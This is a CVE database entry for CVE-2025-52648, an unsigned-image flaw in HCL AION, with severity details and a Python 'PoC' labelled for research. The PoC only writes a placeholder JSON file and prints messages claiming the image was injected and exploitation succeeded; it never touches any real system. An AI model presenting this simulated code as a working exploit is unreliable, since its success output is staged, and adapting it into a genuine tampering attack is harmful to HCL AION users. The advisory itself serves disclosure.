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CVE-2025-52648 CVSS 4.8 MEDIUM

CVE-2025-52648

Published: 2026-03-16 14:18:00
Last Modified: 2026-03-27 17:25:34

Description

HCL AION is affected by a vulnerability where offering images are not digitally signed. Lack of image signing may allow the use of unverified or tampered images, potentially leading to security risks such as integrity compromise or unintended behavior in the system

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:hcl:aion:*:*:*:*:*:*:*:* - VULNERABLE
HCL AION 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52648 PoC - HCL AION 未签名镜像利用示例 # 注意:此PoC仅用于安全研究和授权测试 import hashlib import json import os class HCLAIONImageTamper: """ CVE-2025-52648: HCL AION Image Signing Bypass This PoC demonstrates how an attacker could create a tampered image that would be accepted by HCL AION due to lack of signature verification. """ def __init__(self): self.image_name = "malicious_offering_image" self.tampered_content = { "type": "offering_image", "version": "1.0", "payload": "# Malicious payload here", "integrity": "NOT_SIGNED" } def create_tampered_image(self): """ Step 1: Create a tampered image file Since there's no signature verification, attacker can create arbitrary image content """ image_data = json.dumps(self.tampered_content, indent=2) image_path = f"{self.image_name}.img" with open(image_path, 'w') as f: f.write(image_data) print(f"[+] Created tampered image: {image_path}") return image_path def inject_into_hcl_aion(self, image_path): """ Step 2: Inject tampered image into HCL AION system Without signature verification, system accepts any image """ # Simulate image injection print(f"[+] Attempting to load image into HCL AION...") print(f"[!] No signature verification performed!") print(f"[!] Tampered image accepted by the system") # Calculate image hash with open(image_path, 'rb') as f: img_hash = hashlib.sha256(f.read()).hexdigest() return { "status": "loaded", "image_path": image_path, "hash": img_hash, "signature_verified": False, "vulnerability": "CVE-2025-52648" } def demonstrate_exploitation(self): """ Demonstrate the full attack chain """ print("=" * 60) print("CVE-2025-52648 PoC - HCL AION Image Signing Bypass") print("=" * 60) # Create tampered image image_path = self.create_tampered_image() # Inject into system result = self.inject_into_hcl_aion(image_path) print("\n[+] Exploitation successful!") print(f" Result: {json.dumps(result, indent=2)}") print("\n[!] Impact: System integrity compromised") print("[!] Recommendation: Implement image signing verification") # Cleanup if os.path.exists(image_path): os.remove(image_path) if __name__ == "__main__": exploit = HCLAIONImageTamper() exploit.demonstrate_exploitation()

References

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